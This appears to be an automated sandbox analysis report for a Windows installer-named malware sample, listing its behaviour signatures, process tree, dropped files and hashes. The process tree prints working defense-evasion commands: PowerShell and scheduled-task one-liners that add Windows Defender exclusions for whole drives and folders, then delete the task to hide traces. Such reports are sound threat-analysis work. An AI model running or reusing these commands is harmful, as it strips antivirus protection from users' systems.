Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 03:38

General

  • Target
    inst_smt011.exe
  • Size 55.2MB
  • Sample260805-d6341sch44
  • SHA256 d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3572
  • C:\Users\Public\fMsQVN\P02Uzo.exe
    "C:\Users\Public\fMsQVN\P02Uzo.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4872
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fMsQVN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:5816
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fMsQVN\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2340
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4104
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4940
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:4424
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2580
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1768
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4156
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:2800
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3736
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5076
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2660
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4564
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6016
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5140
                • C:\Users\Public\fMsQVN\P02Uzo.exe
                  "C:\Users\Public\fMsQVN\P02Uzo.exe"
                  1⤵
                    PID:3300
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fMsQVN" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:1456
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:1760
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:2204
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:4496

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          P02Uzo.exe

                          • Path C:\Users\Public\fMsQVN\P02Uzo.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          UxEnhance64.dll

                          • Path C:\Users\Public\fMsQVN\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 370cd6b56c465123e688d1f46351775e368e09db9959de0a04ebb4f6d26ec53c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\fMsQVN\adoresd.dat
                          • Size 4.7MB
                          • SHA256 4350c823b8cd1076c2b3eb8b38e432b08f0f5544c77e2237564c6f673995a3e2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\fMsQVN\msadox.tb
                          • Size 8KB
                          • SHA256 6be600549c0e95be77e0cc872b5f30afdf5a48514220d08edc63f5f2e58f7164
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3240-550-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-560-0x00000227474E0000-0x000002274756A000-memory.dmp

                          memory/3240-566-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-530-0x00007FF885210000-0x00007FF885212000-memory.dmp

                          memory/3240-531-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

                          memory/3240-565-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-563-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-536-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-538-0x00007FF885220000-0x00007FF885222000-memory.dmp

                          memory/3240-539-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-543-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-544-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-545-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-546-0x0000022747F30000-0x00000227487C1000-memory.dmp

                          memory/3240-556-0x0000022747400000-0x000002274744E000-memory.dmp

                          memory/3240-557-0x00000227474E0000-0x000002274756A000-memory.dmp

                          memory/3240-559-0x00000227474E0000-0x000002274756A000-memory.dmp

                          memory/3240-558-0x00000227474E0000-0x000002274756A000-memory.dmp

                          memory/3300-583-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3300-584-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3300-585-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3300-579-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3300-586-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3300-572-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

                          memory/3300-578-0x00007FF885220000-0x00007FF885222000-memory.dmp

                          memory/3300-587-0x00007FF885210000-0x00007FF885212000-memory.dmp

                          memory/3300-575-0x0000028947470000-0x0000028947D01000-memory.dmp

                          memory/3572-525-0x00007FF87CFD0000-0x00007FF87CFE2000-memory.dmp

                          memory/3572-0-0x0000000000490000-0x000000000049D000-memory.dmp

                          memory/3572-524-0x0000000000490000-0x000000000049D000-memory.dmp

                          memory/3572-503-0x00007FF87CFD0000-0x00007FF87CFE2000-memory.dmp

                          memory/3572-1-0x0000000005710000-0x000000000571B000-memory.dmp